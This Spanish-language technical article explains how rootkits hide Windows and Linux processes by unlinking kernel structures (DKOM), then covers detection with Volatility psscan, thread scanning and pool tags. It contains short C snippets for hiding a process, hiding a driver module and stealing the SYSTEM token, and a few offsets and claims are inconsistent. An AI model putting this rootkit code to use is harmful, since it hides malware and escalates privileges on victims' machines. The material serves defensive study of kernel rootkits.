DKOM: Direct Kernel Object Manipulation para Ocultar Procesos
Análisis técnico de DKOM (Direct Kernel Object Manipulation). Cómo los rootkits manipulan las estructuras EPROCESS y ETHREAD del kernel de Windows para ocultar procesos sin hookear syscalls. Detección con Volatility y pool scanning.
Manipular datos en vez de interceptar funciones
SSDT hooking intercepta las funciones que leen datos. DKOM modifica los datos que las funciones leen. Es la diferencia entre poner un filtro en una cámara (hooking) y modificar la escena que la cámara graba (DKOM).
DKOM es más sigiloso que SSDT hooking: no modifica código ejecutable del kernel, no cambia punteros en tablas del sistema, y no es detectado por PatchGuard. Modifica solo datos (listas enlazadas, contadores, flags) que PatchGuard no verifica.
Estructura EPROCESS
Cada proceso en Windows tiene una estructura EPROCESS en kernel memory. EPROCESS contiene toda la información del proceso:
// Estructura EPROCESS (simplificada, offsets de Windows 10 x64)
typedef struct _EPROCESS {
KPROCESS Pcb; // 0x000: Process Control Block
// ...
EX_PUSH_LOCK ProcessLock; // 0x2D8
LARGE_INTEGER CreateTime; // 0x2E0
LARGE_INTEGER ExitTime; // 0x2E8
EX_RUNDOWN_REF RundownProtect; // 0x2F0
HANDLE UniqueProcessId; // 0x440: PID
LIST_ENTRY ActiveProcessLinks; // 0x448: Lista doblemente enlazada
// ...
UCHAR ImageFileName[15]; // 0x5A8: Nombre del proceso
// ...
TOKEN Token; // 0x4B8: Token de seguridad
// ...
UCHAR Protection; // 0x87A: PPL level
// ...
} EPROCESS;
ActiveProcessLinks: la lista de procesos
ActiveProcessLinks es un campo de tipo LIST_ENTRY (lista doblemente enlazada):
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // Forward link (siguiente)
struct _LIST_ENTRY *Blink; // Backward link (anterior)
} LIST_ENTRY;
Todos los procesos están conectados via esta lista:
PsActiveProcessHead
│
▼
EPROCESS A ←→ EPROCESS B ←→ EPROCESS C ←→ EPROCESS D
(System) (csrss) (malware) (explorer)
↑ │
└──────────────────────────────────────────┘
(lista circular)
Cuando NtQuerySystemInformation(SystemProcessInformation) enumera procesos, recorre esta lista desde PsActiveProcessHead.
DKOM: desenlazar el proceso
La operación
Para ocultar el proceso C (malware), el rootkit modifica los punteros de los vecinos:
ANTES (proceso C visible):
B.Flink → C
C.Blink → B
C.Flink → D
D.Blink → C
DESPUES (proceso C oculto):
B.Flink → D (B ahora apunta directamente a D)
D.Blink → B (D ahora apunta directamente a B)
C.Flink → C (C apunta a si mismo, desenlazado)
C.Blink → C
Resultado:
PsActiveProcessHead → A ←→ B ←→ D ←→ ...
C sigue existiendo en memoria pero no esta en la lista
Código del rootkit
// DKOM: ocultar proceso por PID
void hide_process(ULONG target_pid) {
PEPROCESS target_process;
// 1. Encontrar el EPROCESS del proceso objetivo
PsLookupProcessByProcessId((HANDLE)target_pid, &target_process);
// 2. Obtener la lista de procesos
PLIST_ENTRY current_entry = (PLIST_ENTRY)((ULONG_PTR)target_process + EPROCESS_ACTIVEPROCESSLINKS_OFFSET);
// 3. Desenlazar de la lista
PLIST_ENTRY prev = current_entry->Blink;
PLIST_ENTRY next = current_entry->Flink;
prev->Flink = next; // El anterior ahora apunta al siguiente
next->Blink = prev; // El siguiente ahora apunta al anterior
// 4. Hacer que el proceso apunte a si mismo (evitar crashes)
current_entry->Flink = current_entry;
current_entry->Blink = current_entry;
// 5. Decrementar referencia
ObDereferenceObject(target_process);
}
Efecto
Después del DKOM:
| Herramienta | ¿Ve el proceso? | Por qué |
|---|---|---|
| Task Manager | No | Usa NtQuerySystemInformation que recorre ActiveProcessLinks |
tasklist.exe | No | Mismo motivo |
| Process Explorer | No | Mismo motivo |
ps (via PSAPI) | No | Mismo motivo |
| Volatility pslist | No | Recorre ActiveProcessLinks en el dump de memoria |
| Volatility psscan | Sí | Busca EPROCESS por pool tag en toda la memoria |
| Kernel debugger | Sí | Puede buscar EPROCESS directamente |
Más allá de procesos: qué más puede ocultar DKOM
Ocultar threads
// ETHREAD tiene una lista similar: ThreadListEntry
// Desenlazar un thread lo hace invisible para herramientas
// pero el scheduler sigue ejecutandolo
Ocultar drivers/módulos
// Cada driver tiene una estructura DRIVER_OBJECT con LDR_DATA_TABLE_ENTRY
// que está en la lista de módulos cargados (PsLoadedModuleList)
// Desenlazar el módulo del rootkit lo oculta de:
// - lsmod (Linux)
// - DriverQuery (Windows)
// - Modules list en debugger
// Codigo simplificado:
PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)driver->DriverSection;
entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
Ocultar handles
// La tabla de handles del proceso contiene todos los handles abiertos
// DKOM puede eliminar handles sospechosos de la tabla
// Para que herramientas como Process Explorer no los vean
Elevar privilegios (token manipulation)
// DKOM no solo oculta; tambien escala privilegios
// Copiar el TOKEN del proceso System (PID 4) al proceso del atacante:
PEPROCESS system_process, target_process;
PsLookupProcessByProcessId((HANDLE)4, &system_process);
PsLookupProcessByProcessId((HANDLE)target_pid, &target_process);
// Copiar token
PACCESS_TOKEN system_token = PsReferencePrimaryToken(system_process);
// Escribir el token de System en el EPROCESS del proceso del atacante
*(PACCESS_TOKEN*)((ULONG_PTR)target_process + TOKEN_OFFSET) = system_token;
// El proceso del atacante ahora ejecuta como SYSTEM
Esta técnica (token stealing via DKOM) es la más usada en exploits de escalada de privilegios del kernel.
DKOM en Linux
Lista de procesos en Linux
Linux mantiene una lista similar via task_struct:
// Cada proceso tiene task_struct con:
struct task_struct {
// ...
struct list_head tasks; // Lista de todos los procesos
pid_t pid; // PID
char comm[TASK_COMM_LEN]; // Nombre del proceso
// ...
};
// El rootkit desenlaza de la lista 'tasks':
list_del(&target_task->tasks);
// Efecto: ps, top, /proc/ no ven el proceso
// Pero el scheduler sigue ejecutandolo
Ejemplo: Diamorphine
Diamorphine usa DKOM (via hooking de getdents que filtra /proc) y señales mágicas para ocultar procesos. La técnica es equivalente al DKOM de Windows pero implementada como filtrado de la lectura de /proc en vez de desenlazado directo de task_struct.
Detección de DKOM
Volatility: la herramienta clave
| Plugin | Método | Qué encuentra |
|---|---|---|
| pslist | Recorre ActiveProcessLinks | Solo procesos "visibles" (lo que DKOM quiere que veas) |
| psscan | Pool tag scanning en toda la memoria | TODOS los EPROCESS, incluidos los desenlazados |
| pstree | Recorre ActiveProcessLinks + muestra árbol | Solo visibles, formato árbol |
| thrdscan | Pool tag scanning para ETHREAD | Threads de procesos ocultos |
# Deteccion de DKOM:
# 1. Listar procesos via lista (ve lo que ve el OS)
vol3 -f memory.dump windows.pslist
# 2. Listar procesos via pool scanning (ve TODO)
vol3 -f memory.dump windows.psscan
# 3. Comparar: procesos en psscan pero NO en pslist = ocultos por DKOM
# Ejemplo:
# pslist: PID 4, 324, 420, 680, 1024, 1536
# psscan: PID 4, 324, 420, 680, 888, 1024, 1536
# PID 888 solo en psscan → proceso oculto por DKOM
Pool tag scanning: por qué funciona
Windows usa un allocator de memoria del kernel (pool allocator) que etiqueta cada asignación con un "pool tag" de 4 bytes:
EPROCESS se asigna con pool tag: 'Proc' (0x636F7250)
ETHREAD se asigna con pool tag: 'Thre' (0x65726854)
Volatility psscan busca estos pool tags en todo el dump de memoria. Como DKOM solo desenlaza el EPROCESS de la lista pero NO lo elimina de memoria (el proceso sigue corriendo), el pool tag Proc sigue presente y psscan lo encuentra.
Detección adicional
# Verificar integridad de la lista de procesos
vol3 -f memory.dump windows.pslist --physical
# Comparar direcciones fisicas con las esperadas
# Buscar handles huerfanos
# (handles a procesos que no estan en la lista)
vol3 -f memory.dump windows.handles --pid [pid]
# Verificar Job objects
# (procesos en Job objects que no estan en la lista de procesos)
# Cross-reference con threads
# Cada proceso tiene threads. Si un thread pertenece a un PID
# que no esta en pslist, el proceso esta oculto
vol3 -f memory.dump windows.thrdscan
Limitaciones de DKOM
| Limitación | Consecuencia |
|---|---|
| El proceso sigue en memoria | Pool scanning lo detecta |
| Los threads siguen en scheduler | Thread enumeration lo detecta |
| Los handles siguen existiendo | Handle tables lo revelan |
| Network connections siguen activas | Netstat a nivel de kernel lo ve |
| ETW events siguen generandose | ETW-TI registra actividad |
DKOM es efectivo contra herramientas que recorren listas del kernel (Task Manager, ps). No es efectivo contra memory forensics (Volatility) ni contra herramientas que usan métodos alternativos de enumeración.
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto DKOM |
|---|---|---|
| Rootkit | T1014 | DKOM como mecanismo de ocultación |
| Hide Artifacts: Hidden Process | T1564.001 | Proceso desenlazado de ActiveProcessLinks |
| Access Token Manipulation | T1134 | Token stealing via DKOM |
Fuentes y referencias
- Butler, J. & Hoglund, G. "FU Rootkit: DKOM Techniques." 2004.
- Matrosov, A. et al. "Rootkits and Bootkits." No Starch Press, 2019.
- Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 2017.
- Volatility Foundation. "Process Listing Plugins." Volatility 3 Documentation.
- MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.